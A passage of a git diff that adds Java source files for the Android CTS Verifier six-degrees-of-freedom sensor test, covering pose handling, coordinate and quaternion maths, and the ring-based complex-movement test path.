+        if (rotationData != null) {
+            mRobustnessListener.onNewRotationData(rotationData);
+        }
+    }
+
+    /**
+     * Sets the time remaining to place a waypoint.
+     */
+    public void calculateTimeRemaining() {
+        mTimeRemaining = mRobustnessTest.getTimeRemaining();
+    }
+
+    /**
+     * Handles new pose data.
+     *
+     * @param currentPose The current pose data.
+     */
+    public void onNewPoseData(PoseData currentPose) {
+        if (mReferencePath.getCurrentPathSize() != 0) {
+            switch (mLap) {
+                case LAP_1:
+                    calculateRemainingPath();
+                    break;
+                case LAP_2:
+                    break;
+                case LAP_3:
+                    if (mRobustnessTest.getTestPathMarkersSize() > 0) {
+                        calculateTimeRemaining();
+                        calculateRotationData(currentPose.getRotationAsFloats(), currentPose.getTranslationAsFloats());
+                    }
+                    break;
+                case LAP_4:
+                    mComplexMovementTest.checkIfARingHasBeenPassed(currentPose.getTranslationAsFloats());
+                    break;
+            }
+            try {
+                addPoseDataToPath(currentPose.getTranslationAsFloats(),
+                        false);
+            } catch (WaypointException e) {
+                throw new AssertionError(
+                        "System added waypoint should not be validated", e);
+            }
+        }
+    }
+
+    /**
+     * Returns the distance remaining to travel by the user.
+     */
+    public float getRemainingPath() {
+        return mRemainingPath;
+    }
+
+    /**
+     * Returns the makers in the reference path.
+     */
+    public ArrayList<Waypoint> getReferencePathMarkers() {
+        return mReferencePath.getPathMarkers();
+    }
+
+    /**
+     * Returns the makers in the accuracy test path.
+     */
+    public ArrayList<Waypoint> getTestPathMarkers() {
+        return mAccuracyTest.getTestPathMarkers();
+    }
+
+    /**
+     * Returns the time remaining to place the marker.
+     */
+    public long getTimeRemaining() {
+        return mTimeRemaining;
+    }
+
+    /**
+     * Returns the markers in the robustness test path.
+     */
+    public ArrayList<Waypoint> getRobustnessMarker() {
+        return mRobustnessTest.getTestPathMarkers();
+    }
+
+    /**
+     * Returns the current phase of the test.
+     */
+    public Lap getLap() {
+        return mLap;
+    }
+
+    /**
+     * Returns the rings in the ComplexMovement path.
+     */
+    public ArrayList<Ring> getRings() {
+        return mComplexMovementTest.getRings();
+    }
+
+    /**
+     * Returns the makers in the ComplexMovement test path.
+     */
+    public ArrayList<Waypoint> getComplexMovementTestMarkers() {
+        return mComplexMovementTest.getTestPathMarkers();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/MathsUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/MathsUtils.java
new file mode 100644
index 0000000..ee0ab2d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/MathsUtils.java
@@ -0,0 +1,309 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils;
+
+import android.opengl.Matrix;
+import android.util.Log;
+
+import com.android.cts.verifier.sensors.sixdof.Utils.PoseProvider.PoseData;
+
+import java.text.DecimalFormat;
+
+/**
+ * Contains functions that are used throughout the app.
+ */
+public class MathsUtils {
+    public static final int X = PoseData.INDEX_TRANSLATION_X;
+    public static final int Y = PoseData.INDEX_TRANSLATION_Y;
+    public static final int Z = PoseData.INDEX_TRANSLATION_Z;
+
+    public static final int MATRIX_4X4 = 16;
+    public static final int VECTOR_2D = 2;
+    public static final int VECTOR_3D = 3;
+
+    public static final int ORIENTATION_0 = 0;
+    public static final int ORIENTATION_90_ANTI_CLOCKWISE = 90;
+    public static final int ORIENTATION_180_ANTI_CLOCKWISE = 180;
+    public static final int ORIENTATION_270_ANTI_CLOCKWISE = 270;
+    public static final int ORIENTATION_360_ANTI_CLOCKWISE = 360;
+
+    /**
+     * Converts from float array in 6DoF coordinate system to a Vector3 in OpenGl coordinate
+     * system.
+     *
+     * @param location float array to convert.
+     * @return the Vector3 in OpenGL coord system.
+     */
+    public static float[] convertToOpenGlCoordinates(float[] location, int toRotate) {
+        // Have to swap Y and Z as they are different in OpenGl and 6DoF. Also invert Z.
+        float[] inDefaultOrientation = new float[]{location[X], location[Z], -location[Y]};
+
+        return rotateCoordinates(inDefaultOrientation, toRotate);
+    }
+
+    public static float[] rotateCoordinates(float[] coordinates, int toRotate) {
+        final float[] inCurrentOrientation;
+
+        switch (toRotate) {
+            case ORIENTATION_0:
+            case ORIENTATION_360_ANTI_CLOCKWISE:
+                inCurrentOrientation = coordinates;
+                break;
+            case ORIENTATION_90_ANTI_CLOCKWISE:
+                inCurrentOrientation = new float[]{coordinates[Y], -coordinates[X],
+                        coordinates[Z]};
+                break;
+            case ORIENTATION_180_ANTI_CLOCKWISE:
+                inCurrentOrientation = new float[]{coordinates[X], coordinates[Y],
+                        coordinates[Z]};
+                break;
+            case ORIENTATION_270_ANTI_CLOCKWISE:
+                inCurrentOrientation = new float[]{-coordinates[Y], coordinates[X],
+                        coordinates[Z]};
+                break;
+            default:
+                throw new RuntimeException("Unexpected orientation that cannot be dealt with!");
+        }
+
+        return inCurrentOrientation;
+    }
+
+    /**
+     * Produce a rotation transformation that looks at a point 'center' from a point 'eye'.
+     */
+    public static void setLookAtM(float[] rm, float eyeX, float eyeY, float eyeZ,
+                                  float centerX, float centerY, float centerZ,
+                                  float upX, float upY, float upZ) {
+        // Algorithm taken from DirectX documentation.
+        // https://msdn.microsoft.com/en-us/library/bb205343.aspx
+
+        float zAxisX = eyeX - centerX;
+        float zAxisY = eyeY - centerY;
+        float zAxisZ = eyeZ - centerZ;
+
+        // Normalize zAxis
+        float rlf = 1.0f / Matrix.length(zAxisX, zAxisY, zAxisZ);
+        zAxisX *= rlf;
+        zAxisY *= rlf;
+        zAxisZ *= rlf;
+
+        // compute xAxis = up x zAxis (x means "cross product")
+        float xAxisX = upY * zAxisZ - upZ * zAxisY;
+        float xAxisY = upZ * zAxisX - upX * zAxisZ;
+        float xAxisZ = upX * zAxisY - upY * zAxisX;
+
+        // and normalize xAxis
+        float rls = 1.0f / Matrix.length(xAxisX, xAxisY, xAxisZ);
+        xAxisX *= rls;
+        xAxisY *= rls;
+        xAxisZ *= rls;
+
+        // compute yAxis = zAxis x xAxis
+        float yAxisX = zAxisY * xAxisZ - zAxisZ * xAxisY;
+        float yAxisY = zAxisZ * xAxisX - zAxisX * xAxisZ;
+        float yAxisZ = zAxisX * xAxisY - zAxisY * xAxisX;
+
+        rm[0] = xAxisX;
+        rm[1] = xAxisY;
+        rm[2] = xAxisZ;
+        rm[3] = (xAxisX * eyeX) + (xAxisY * eyeY) + (xAxisZ * eyeZ);
+
+        rm[4] = yAxisX;
+        rm[5] = yAxisY;
+        rm[6] = yAxisZ;
+        rm[7] = (yAxisX * eyeX) + (yAxisY * eyeY) + (yAxisZ * eyeZ);
+
+        rm[8] = zAxisX;
+        rm[9] = zAxisY;
+        rm[10] = zAxisZ;
+        rm[11] = (zAxisX * eyeX) + (zAxisY * eyeY) + (zAxisZ * eyeZ);
+
+        rm[12] = 0.0f;
+        rm[13] = 0.0f;
+        rm[14] = 0.0f;
+        rm[15] = 1.0f;
+    }
+
+    /**
+     * A function to convert a quaternion to quaternion Matrix. Please note that Opengl.Matrix is
+     * Column Major and so we construct the matrix in Column Major Format. - - - - | 0 4 8 12 | | 1
+     * 5 9 13 | | 2 6 10 14 | | 3 7 11 15 | - - - -
+     *
+     * @param quaternion Input quaternion with float[4]
+     * @return Quaternion Matrix of float[16]
+     */
+    public static float[] quaternionMatrixOpenGL(float[] quaternion) {
+        float[] matrix = new float[16];
+        normalizeVector(quaternion);
+
+        float x = quaternion[0];
+        float y = quaternion[1];
+        float z = quaternion[2];
+        float w = quaternion[3];
+
+        float x2 = x * x;
+        float y2 = y * y;
+        float z2 = z * z;
+        float xy = x * y;
+        float xz = x * z;
+        float yz = y * z;
+        float wx = w * x;
+        float wy = w * y;
+        float wz = w * z;
+
+        matrix[0] = 1f - 2f * (y2 + z2);
+        matrix[4] = 2f * (xy - wz);
+        matrix[8] = 2f * (xz + wy);
+        matrix[12] = 0f;
+
+        matrix[1] = 2f * (xy + wz);
+        matrix[5] = 1f - 2f * (x2 + z2);
+        matrix[9] = 2f * (yz - wx);
+        matrix[13] = 0f;
+
+        matrix[2] = 2f * (xz - wy);
+        matrix[6] = 2f * (yz + wx);
+        matrix[10] = 1f - 2f * (x2 + y2);
+        matrix[14] = 0f;
+
+        matrix[3] = 0f;
+        matrix[7] = 0f;
+        matrix[11] = 0f;
+        matrix[15] = 1f;
+
+        return matrix;
+    }
+
+    /**
+     * Calculates the dot product between two vectors.
+     *
+     * @param vector1 the first vector.
+     * @param vector2 the second vector.
+     * @return the dot product.
+     */
+    public static double dotProduct(float[] vector1, float[] vector2, int dimensions) {
+        double total = 0.0;
+        for (int i = 0; i < dimensions; i++) {
+            total += vector1[i] * vector2[i];
+        }
+        return total;
+    }
+
+    /**
+     * Creates a unit vector in the direction of an arbitrary vector. The original vector is
+     * modified in place.
+     *
+     * @param v the vector to normalize.
+     */
+    public static void normalizeVector(float[] v) {
+        float mag2 = v[0] * v[0] + v[1] * v[1] + v[2] * v[2] + v[3] * v[3];
+        if (Math.abs(mag2) > 0.00001f && Math.abs(mag2 - 1.0f) > 0.00001f) {
+            float mag = (float) Math.sqrt(mag2);
+            v[0] = v[0] / mag;
+            v[1] = v[1] / mag;
+            v[2] = v[2] / mag;
+            v[3] = v[3] / mag;
+        }
+    }
+
+    /**
+     * Calculates the distance between 2 points in 2D space.
+     *
+     * @param point1 the mCoordinates of the first point.
+     * @param point2 the mCoordinates of the second point.
+     * @return the distance between the 2 points.
+     */
+    public static float distanceCalculationOnXYPlane(float[] point1, float[] point2) {
+        float yDifference = point2[Y] - point1[Y];
+        float xDifference = point2[X] - point1[X];
+        return (float) Math.sqrt((yDifference * yDifference) + (xDifference * xDifference));
+    }
+
+    /**
+     * Calculates the distance between 2 points in 3D space.
+     *
+     * @param point1 the mCoordinates of the first point.
+     * @param point2 the mCoordinates of the second point.
+     * @return the distance between the 2 points.
+     */
+    public static float distanceCalculationInXYZSpace(float[] point1, float[] point2) {
+        float zDifference = point2[Z] - point1[Z];
+        float yDifference = point2[Y] - point1[Y];
+        float xDifference = point2[X] - point1[X];
+        return (float) Math.sqrt((zDifference * zDifference) + (yDifference * yDifference) +
+                (xDifference * xDifference));
+    }
+
+    /**
+     * Puts the given coordinates in a printable format.
+     *
+     * @param coordinates the mCoordinates to print.
+     * @return the mCoordinates formatted.
+     */
+    public static String coordinatesToString(float[] coordinates) {
+        DecimalFormat threeDec = new DecimalFormat("0.0");
+        String formattedCoordinates = "[";
+        for (int i = 0; i < coordinates.length; i++) {
+            formattedCoordinates += threeDec.format(coordinates[i]);
+            if (i < (coordinates.length - 1)) {
+                formattedCoordinates += ", ";
+            } else {
+                formattedCoordinates += "]";
+            }
+        }
+        return formattedCoordinates;
+    }
+
+    public static float[] getDeviceOrientationMatrix(int toRotate) {
+        float[] deviceMatrix;
+
+        switch (toRotate) {
+            case ORIENTATION_0:
+            case ORIENTATION_360_ANTI_CLOCKWISE:
+                deviceMatrix = new float[]{1.0f, 0.0f, 0.0f, 0.0f,
+                        0.0f, 1.0f, 0.0f, 0.0f,
+                        0.0f, 0.0f, 1.0f, 0.0f,
+                        0.0f, 0.0f, 0.0f, 1.0f};
+                break;
+            case ORIENTATION_90_ANTI_CLOCKWISE:
+                deviceMatrix = new float[]{
+                        0.0f, -1.0f, 0.0f, 0.0f,
+                        1.0f, 0.0f, 0.0f, 0.0f,
+                        0.0f, 0.0f, 1.0f, 0.0f,
+                        0.0f, 0.0f, 0.0f, 1.0f};
+                break;
+            case ORIENTATION_180_ANTI_CLOCKWISE:
+                deviceMatrix = new float[]{
+                        -1.0f, 0.0f, 0.0f, 0.0f,
+                        0.0f, -1.0f, 0.0f, 0.0f,
+                        0.0f, 0.0f, 1.0f, 0.0f,
+                        0.0f, 0.0f, 0.0f, 1.0f};
+                break;
+            case ORIENTATION_270_ANTI_CLOCKWISE:
+                deviceMatrix = new float[]{
+                        0.0f, 1.0f, 0.0f, 0.0f,
+                        -1.0f, 0.0f, 0.0f, 0.0f,
+                        0.0f, 0.0f, 1.0f, 0.0f,
+                        0.0f, 0.0f, 0.0f, 1.0f};
+                break;
+            default:
+                throw new RuntimeException("Unexpected orientation that cannot be dealt with!");
+        }
+
+        return deviceMatrix;
+    }
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/AccuracyPath.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/AccuracyPath.java
new file mode 100644
index 0000000..22e3bf4
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/AccuracyPath.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Path;
+
+/**
+ * Class with the implementation for the Accuracy path
+ */
+public class AccuracyPath extends Path {
+    /**
+     * Implementation of the abstract class in path but left empty because there is nothing extra to
+     * check for.
+     *
+     * @param coordinates the coordinates for the waypoint
+     */
+    @Override
+    public void additionalChecks(float[] coordinates) {
+        // No additional checks required in this test.
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/ComplexMovementPath.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/ComplexMovementPath.java
new file mode 100644
index 0000000..bc7c2c4
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/ComplexMovementPath.java
@@ -0,0 +1,333 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Path;
+
+import java.util.ArrayList;
+import java.util.Random;
+
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.VECTOR_2D;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.X;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Y;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.Z;
+import static com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils.dotProduct;
+
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointRingNotEnteredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Ring;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Waypoint;
+
+/**
+ * Handles all the path properties of the ComplexMovement Path.
+ */
+public class ComplexMovementPath extends com.android.cts.verifier.sensors.sixdof.Utils.Path.Path {
+    public static final float DISTANCE_FOR_RING_POSITION = 0.25f;
+    public static final int RINGS_PER_PATH = 5;
+
+    private ArrayList<Ring> mRings = new ArrayList<>();
+    private Random mRandomGenerator = new Random();
+    private int mCurrentLap = 0;
+    private float mLocationMapping[][];
+
+    /**
+     * Possible locations for a ring.
+     */
+    private enum RingLocations {
+        ORIGINAL,
+        TOP,
+        DOWN,
+        LEFT,
+        RIGHT,
+        TOP_LEFT,
+        TOP_RIGHT,
+        BOTTOM_LEFT,
+        BOTTOM_RIGHT,
+    }
+
+    /**
+     * Constructor for this class does the mapping and the creation of rings.
+     *
+     * @param referencePathDistances The distance between the markers in the reference path
+     * @param referencePath          The reference path
+     */
+    public ComplexMovementPath(
+            ArrayList<Float> referencePathDistances, ArrayList<Waypoint> referencePath) {
+        mapNineRingLocations();
+        generatePathRings(referencePathDistances, referencePath);
+    }
+
+    /**
+     * Defines the different ring locations that can be used when adding the rings.
+     */
+    private void mapNineRingLocations() {
+        mLocationMapping = new float[RingLocations.values().length][2];
+        mLocationMapping[RingLocations.ORIGINAL.ordinal()] = new float[]{0f, 0f};
+        mLocationMapping[RingLocations.TOP.ordinal()] =
+                new float[]{0f, DISTANCE_FOR_RING_POSITION};
+        mLocationMapping[RingLocations.DOWN.ordinal()] =
+                new float[]{0f, -DISTANCE_FOR_RING_POSITION};
+        mLocationMapping[RingLocations.LEFT.ordinal()] =
+                new float[]{-DISTANCE_FOR_RING_POSITION, 0f};
+        mLocationMapping[RingLocations.RIGHT.ordinal()] =
+                new float[]{DISTANCE_FOR_RING_POSITION, 0f};
+        mLocationMapping[RingLocations.TOP_LEFT.ordinal()] =
+                new float[]{-DISTANCE_FOR_RING_POSITION, DISTANCE_FOR_RING_POSITION};
+        mLocationMapping[RingLocations.TOP_RIGHT.ordinal()] =
+                new float[]{DISTANCE_FOR_RING_POSITION, DISTANCE_FOR_RING_POSITION};
+        mLocationMapping[RingLocations.BOTTOM_LEFT.ordinal()] =
+                new float[]{-DISTANCE_FOR_RING_POSITION, -DISTANCE_FOR_RING_POSITION};
+        mLocationMapping[RingLocations.BOTTOM_RIGHT.ordinal()] =
+                new float[]{DISTANCE_FOR_RING_POSITION, -DISTANCE_FOR_RING_POSITION};
+    }
+
+    /**
+     * Performs ComplexMovement path related checks on a marker.
+     *
+     * @param coordinates the coordinates for the waypoint
+     * @throws WaypointRingNotEnteredException if a ring is not entered
+     */
+    @Override
+    public void additionalChecks(float[] coordinates) throws WaypointRingNotEnteredException {
+        if (mCurrentLap != 0) {
+            for (Ring ring : mRings) {
+                if (ring.getPathNumber() == mCurrentLap && !ring.isEntered()) {
+                    throw new WaypointRingNotEnteredException();
+                }
+            }
+        }
+        mCurrentLap++;
+    }
+
+    /**
+     * Generates the rings for this path.
+     *
+     * @param referencePathDistances The distance between the markers in the reference path
+     * @param referencePath          The reference path
+     */
+    private void generatePathRings(
+            ArrayList<Float> referencePathDistances, ArrayList<Waypoint> referencePath) {
+        ArrayList<Float> distanceBetweenRingSections;
+        distanceBetweenRingSections = calculateSectionDistance(referencePathDistances);
+        addRingsToPath(referencePath, distanceBetweenRingSections);
+    }
+
+    /**
+     * Calculates the distance between the rings in a path.
+     *
+     * @param referencePathDistances The distance between the markers in the reference path.
+     * @return The length of a section in the different paths.
+     */
+    private ArrayList<Float> calculateSectionDistance(ArrayList<Float> referencePathDistances) {
+        ArrayList<Float> arrayToReturn = new ArrayList<>();
+        for (Float distance : referencePathDistances) {
+            arrayToReturn.add(distance / (RINGS_PER_PATH + 1f));
+        }
+        return arrayToReturn;
+    }
+
+    /**
+     * Calculates the location for the ring and adds it to the path.
+     *
+     * @param referencePath               The reference path.
+     * @param distanceBetweenRingSections The length of a section in the different paths.
+     */
+    private void addRingsToPath(
+            ArrayList<Waypoint> referencePath, ArrayList<Float> distanceBetweenRingSections) {
+        int currentPath = 0;
+        Waypoint currentWaypoint = referencePath.get(0);
+        for (Float pathIntervalDistance : distanceBetweenRingSections) {
+            currentPath++;
+            for (int i = 0; i < RINGS_PER_PATH; i++) {
+                currentWaypoint = calculateRingLocationOnPath(
+                        referencePath, referencePath.indexOf(currentWaypoint), pathIntervalDistance);
+                mRings.add(createRing(referencePath, currentWaypoint, currentPath));
+            }
+            while (!currentWaypoint.isUserGenerated()) {
+                currentWaypoint = referencePath.get(referencePath.indexOf(currentWaypoint) + 1);
+            }
+        }
+    }
+
+    /**
+     * Creates the ring that will be added onto the path.
+     *
+     * @param referencePath The reference path.
+     * @param waypoint      The waypoint which the ring will be located at.
+     * @param currentPath   The part of the lap in which the ring will be placed.
+     * @return A reference to the ring created.
+     */
+    private Ring createRing(ArrayList<Waypoint> referencePath, Waypoint waypoint, int currentPath) {
+        float[] ringCenter = waypoint.getCoordinates();
+        float[] pointRotation = calculateRingRotation(ringCenter,
+                referencePath.get(referencePath.indexOf(waypoint) - 1).getCoordinates());
+        int randomNumber = mRandomGenerator.nextInt(RingLocations.values().length);
+        RingLocations ringLocationDifference = RingLocations.values()[randomNumber];
+        ringCenter[X] += mLocationMapping[ringLocationDifference.ordinal()][0];
+        ringCenter[Z] += mLocationMapping[ringLocationDifference.ordinal()][1];
+        ArrayList<float[]> rotatedRect = calculateRectangleHitbox(ringCenter, pointRotation);
+        return new Ring(ringCenter, currentPath, pointRotation, rotatedRect);
+    }
+
+    /**
+     * Calculates the orientation of the ring.
+     *
+     * @param location1 The location of the first point.
+     * @param location2 The location of the second point.
+     * @return the rotation needed to get the orientation of the ring.
+     */
+    private float[] calculateRingRotation(float[] location1, float[] location2) {
+        float[] rotation = new float[3];
+        rotation[X] = location2[X] - location1[X];
+        rotation[Y] = location2[Y] - location1[Y];
+        rotation[Z] = location2[Z] - location1[Z];
+        return rotation;
+    }
+
+    /**
+     * Calculates the next possible position for the ring to be placed at.
+     *
+     * @param referencePath        The reference path.
+     * @param currentLocation      The location to start calculating from.
+     * @param pathIntervalDistance The distance indicating how far apart the rings are going to be.
+     * @return The waypoint where the ring will be placed at.
+     */
+    private Waypoint calculateRingLocationOnPath(
+            ArrayList<Waypoint> referencePath, int currentLocation, Float pathIntervalDistance) {
+        float pathRemaining = 0;
+        while (currentLocation < referencePath.size() - 1) {
+            pathRemaining += MathsUtils.distanceCalculationOnXYPlane(
+                    referencePath.get(currentLocation).getCoordinates(),
+                    referencePath.get(currentLocation + 1).getCoordinates());
+            if (pathRemaining >= pathIntervalDistance) {
+                return referencePath.get(currentLocation);
+            }
+            currentLocation++;
+        }
+        throw new AssertionError(
+                "calculateRingLocationOnPath: Ring number and section number don't seem to match up");
+    }
+
+    /**
+     * Calculates the rectangular hit box for the ring.
+     *
+     * @param centre   the middle location of the ring.
+     * @param rotation the rotation to get the same orientation of the ring.
+     * @return The four corners of the rectangle.
+     */
+    private ArrayList<float[]> calculateRectangleHitbox(float[] centre, float[] rotation) {
+        ArrayList<float[]> rectangle = new ArrayList<>();
+        float magnitude = (float) Math.sqrt(Math.pow(rotation[X], 2) +
+                Math.pow(rotation[Z], 2));
+        float lengthScaleFactor = 0.02f / magnitude;
+        float widthScaleFactor = 0.17f / magnitude;
+
+        float[] rotationInverse = {0 - rotation[X], 0 - rotation[Y]};
+        float[] rotationNinety = {rotation[Y], 0 - rotation[X]};
+        float[] rotationNinetyInverse = {0 - rotation[Y], rotation[X]};
+
+        float[] midFront = new float[2];
+        midFront[X] = centre[X] + (lengthScaleFactor * rotation[X]);
+        midFront[Y] = centre[Y] + (lengthScaleFactor * rotation[Y]);
+        float[] midRear = new float[2];
+        midRear[X] = centre[X] + (lengthScaleFactor * rotationInverse[X]);
+        midRear[Y] = centre[Y] + (lengthScaleFactor * rotationInverse[Y]);
+
+        float[] frontLeft = new float[3];
+        frontLeft[Z] = centre[Z];
+        frontLeft[X] = midFront[X] + (widthScaleFactor * rotationNinetyInverse[X]);
+        frontLeft[Y] = midFront[Y] + (widthScaleFactor * rotationNinetyInverse[Y]);
+        float[] frontRight = new float[3];
+        frontRight[Z] = centre[Z];
+        frontRight[X] = midFront[X] + (widthScaleFactor * rotationNinety[X]);
+        frontRight[Y] = midFront[Y] + (widthScaleFactor * rotationNinety[Y]);
+        float[] rearLeft = new float[3];
+        rearLeft[Z] = centre[Z];
+        rearLeft[X] = midRear[X] + (widthScaleFactor * rotationNinetyInverse[X]);
+        rearLeft[Y] = midRear[Y] + (widthScaleFactor * rotationNinetyInverse[Y]);
+        float[] rearRight = new float[3];
+        rearRight[Z] = centre[Z];
+        rearRight[X] = midRear[X] + (widthScaleFactor * rotationNinety[X]);
+        rearRight[Y] = midRear[Y] + (widthScaleFactor * rotationNinety[Y]);
+
+        rectangle.add(frontLeft);
+        rectangle.add(frontRight);
+        rectangle.add(rearRight);
+        rectangle.add(rearLeft);
+        return rectangle;
+    }
+
+    /**
+     * Check to see if a ring has been entered.
+     *
+     * @param location the location of the user to be tested.
+     */
+    public Ring hasRingBeenEntered(float[] location) {
+        float xDifference, yDifference, zDifference;
+        for (int i = 0; i < mRings.size(); i++) {
+            if (mRings.get(i).getPathNumber() == mCurrentLap) {
+                xDifference = Math.abs(mRings.get(i).getLocation()[X] - location[X]);
+                yDifference = Math.abs(mRings.get(i).getLocation()[Y] - location[Y]);
+                zDifference = Math.abs(mRings.get(i).getLocation()[Z] - location[Z]);
+                if (xDifference < 0.17 && yDifference < 0.17 && zDifference < 0.17) {
+                    if (checkCollision(mRings.get(i), location)) {
+                        return mRings.get(i);
+                    }
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Calculates whether the location of the user is in the rectangular hit box or not.
+     *
+     * @param ring     the ring to be tested.
+     * @param location the location of the user.
+     * @return true if the ring is entered and false if it is not.
+     */
+    private boolean checkCollision(Ring ring, float[] location) {
+        float[] rectangleVector1 = new float[2];
+        rectangleVector1[X] = ring.getRectangleHitBox().get(0)[X] - ring.getRectangleHitBox().get(3)[X];
+        rectangleVector1[Y] = ring.getRectangleHitBox().get(0)[Y] - ring.getRectangleHitBox().get(3)[Y];
+
+        float[] rectangleVector2 = new float[2];
+        rectangleVector2[X] = ring.getRectangleHitBox().get(2)[X] - ring.getRectangleHitBox().get(3)[X];
+        rectangleVector2[Y] = ring.getRectangleHitBox().get(2)[Y] - ring.getRectangleHitBox().get(3)[Y];
+
+        float[] locationVector = new float[2];
+        locationVector[X] = location[X] - ring.getRectangleHitBox().get(3)[X];
+        locationVector[Y] = location[Y] - ring.getRectangleHitBox().get(3)[Y];
+
+        if (dotProduct(rectangleVector1, locationVector, VECTOR_2D) > 0) {
+            if (dotProduct(rectangleVector1, rectangleVector1, VECTOR_2D)
+                    > dotProduct(rectangleVector1, locationVector, VECTOR_2D)) {
+                if (dotProduct(rectangleVector2, locationVector, VECTOR_2D) > 0) {
+                    if (dotProduct(rectangleVector2, rectangleVector2, VECTOR_2D)
+                            > dotProduct(rectangleVector2, locationVector, VECTOR_2D)) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Returns the list of rings.
+     */
+    public ArrayList<Ring> getRings() {
+        return new ArrayList<>(mRings);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/Path.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/Path.java
new file mode 100644
index 0000000..e0f21ab
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Utils/Path/Path.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Utils.Path;
+
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointAreaCoveredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointDistanceException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointRingNotEnteredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointStartPointException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Waypoint;
+
+import java.util.ArrayList;
+
+/**
+ * Contains all the information of the current path.
+ */
+public abstract class Path {
+    protected ArrayList<Waypoint> mCurrentPath = new ArrayList<>();
+    protected ArrayList<Waypoint> mPathMarkers = new ArrayList<>();
+
+    /**
+     * Creates a waypoint and adds it to the path.
+     *
+     * @param coordinates   the coordinates to use for the waypoint.
+     * @param userGenerated indicates whether the data was user created or system created.
+     * @param currentLap    the lap the data was created in.
+     * @throws WaypointDistanceException       if the location is too close to another.
+     * @throws WaypointAreaCoveredException    if the area covered by the user is too little.
+     * @throws WaypointStartPointException     if the location is not close enough to the start.
+     * @throws WaypointRingNotEnteredException if a ring is not entered.
+     */
+    public void createWaypointAndAddToPath(
+            float[] coordinates, boolean userGenerated, Manager.Lap currentLap)
+            throws WaypointStartPointException, WaypointDistanceException,
+            WaypointAreaCoveredException, WaypointRingNotEnteredException {
+        if (userGenerated) {
+            additionalChecks(coordinates);
+        }
+        Waypoint waypoint = new Waypoint(coordinates, userGenerated, currentLap);
+        mCurrentPath.add(waypoint);
+        if (waypoint.isUserGenerated()) {
+            mPathMarkers.add(waypoint);
+        }
+    }
+
+    protected float getLengthOfCurrentPath() {
